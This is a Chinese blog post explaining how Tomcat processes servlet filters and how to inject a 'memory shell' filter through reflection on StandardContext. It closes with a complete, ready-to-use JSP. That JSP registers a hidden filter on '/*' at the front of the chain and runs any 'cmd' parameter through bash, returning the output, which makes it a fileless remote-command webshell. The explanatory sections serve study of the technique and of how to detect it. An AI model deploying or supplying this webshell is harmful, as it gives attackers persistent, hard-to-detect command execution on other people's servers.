Tomcat-filter内存马
- 参考文章:
filter初始化
FilterDefs:存放FilterDef的数组 ,FilterDef 中存储着我们过滤器名,过滤器实例,作用 url 等基本信息
FilterConfigs:存放filterConfig的数组,在 FilterConfig 中主要存放 FilterDef 和 Filter对象等信息
FilterMaps:存放FilterMap的数组,在 FilterMap 中主要存放了 FilterName 和 对应的URLPattern
FilterChain:过滤器链,该对象上的 doFilter 方法能依次调用链上的 Filter
WebXml:存放 web.xml 中内容的类
ContextConfig:Web应用的上下文配置类
StandardContext:Context接口的标准实现类,一个 Context 代表一个 Web 应用,其下可以包含多个 Wrapper
StandardWrapperValve:一个 Wrapper 的标准实现类,一个 Wrapper 代表一个Servlet
配置 -> WebXml对象
web.xml或者是这种注解 @WebFilter(filterName = "MyFilter", urlPatterns = "/*")
的解析函数在此类中D:\tomcat9.0.69\lib\catalina.jar!org.apache.catalina.startup.ContextConfig
,并把相应配置转化成WebXml对象中的数据
注解方式的解析详看此链接:https://xz.aliyun.com/t/10196#toc-1
web.xml的解析暂且挖坑
WebXml对象 -> context对象
再次使用ContextConfig类调用configureContext函数解析 WebXml对象
接着是org.apache.catalina.core.StandardContext#filterStart
将filterDef以ApplicationFilterConfig的形式存在,并且将其放到了filterConfig中
Ar3h 师傅的总结
通过web.xml配置和WebFilter注解的方式,把filter所有信息都封装成filterDef、filterMap这两个对象,然后最终都存放到了StandardContext类型对象的filterDefs变量和filterMaps变量中。
这里就产生了一个思路,只要我们获取到StandardContext这个上下文对象,把我们的filter包装成filterDef、filterMap对象,然后通过函数或者反射方式加到StandardContext的两个变量中,就相当于走完以上所有的流程配置了filter。
有HTTP请求时filter状态
- 注意:每次HTTP请求都会创建一个filter链(FilterChain)
当我们发起一个请求后,D:\tomcat9.0.69\lib\catalina.jar!\org\apache\catalina\core\StandardWrapperValve.class
中的invoke函数中会创建一个FilterChain
此后的过程看 天下大木头师傅的文章:http://wjlshare.com/archives/1529
天下大木头师傅的总结:
- 根据请求的 URL 从 FilterMaps 中找出与之 URL 对应的 Filter 名称
- 根据 Filter 名称去 FilterConfigs 中寻找对应名称的 FilterConfig
- 找到对应的 FilterConfig 之后添加到 FilterChain中,并且返回 FilterChain
- filterChain 中调用 internalDoFilter 遍历获取 chain 中的 FilterConfig ,然后从 FilterConfig 中获取 Filter,然后调用 Filter 的 doFilter 方法
Filter型内存马注入
获取context
参考文章:https://xz.aliyun.com/t/9914
能直接获取 request 的时候
将我们的 ServletContext 转为 StandardContext 从而获取 context
ps:当 Web 容器启动的时候会为每个 Web 应用都创建一个 ServletContext 对象,代表当前 Web 应用
ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
// ApplicationContext 为 ServletContext 的实现类
ApplicationContext applicationContext = (ApplicationContext)appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
// 这样我们就获取到了 context
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
从线程中获取StandardContext
https://zhuanlan.zhihu.com/p/114625962
从MBean中获取
https://scriptboy.cn/p/tomcat-filter-inject/
注入内存马
- 创建一个恶意 Filter
- 利用 FilterDef 对 Filter 进行一个封装
- 将 FilterDef 添加到 FilterDefs 和 FilterConfig
- 创建 FilterMap ,将我们的 Filter 和 urlpattern 相对应,存放到 filterMaps中(由于 Filter 生效会有一个先后顺序,所以我们一般都是放在最前面,让我们的 Filter 最先触发)
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<%
final String name = "KpLi0rn";
ServletContext servletContext = request.getSession().getServletContext();
// 获取context
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
// 获取filterConfigs数组
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);
if (filterConfigs.get(name) == null){ //判断是否重名
// 不重名的情况下,创建一个恶意的过滤器对象
Filter filter = new Filter() {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest req = (HttpServletRequest) servletRequest;
if (req.getParameter("cmd") != null){
byte[] bytes = new byte[1024];
Process process = new ProcessBuilder("bash","-c",req.getParameter("cmd")).start();
int len = process.getInputStream().read(bytes);
servletResponse.getWriter().write(new String(bytes,0,len));
process.destroy();
return;
}
filterChain.doFilter(servletRequest,servletResponse);
}
@Override
public void destroy() {
}
};
// 创建一个 FilterDef并把name和刚创建的恶意过滤器传参
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName(name);
filterDef.setFilterClass(filter.getClass().getName());
/**
* 将filterDef添加到filterDefs中
*/
standardContext.addFilterDef(filterDef);
// 创建一个FilterMap对象
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*"); // 这是为了匹配所有请求
filterMap.setFilterName(name);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
// 把构造的恶意FilterMap对象放在最前面
standardContext.addFilterMapBefore(filterMap);
// 反射构造恶意的ApplicationFilterConfig对象
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);
// 添加恶意的ApplicationFilterConfig
filterConfigs.put(name,filterConfig);
out.print("Inject Success !");
}
%>
标签:filter,FilterConfig,Filter,内存,https,StandardContext,com
From: https://www.cnblogs.com/W3-w/p/16953593.html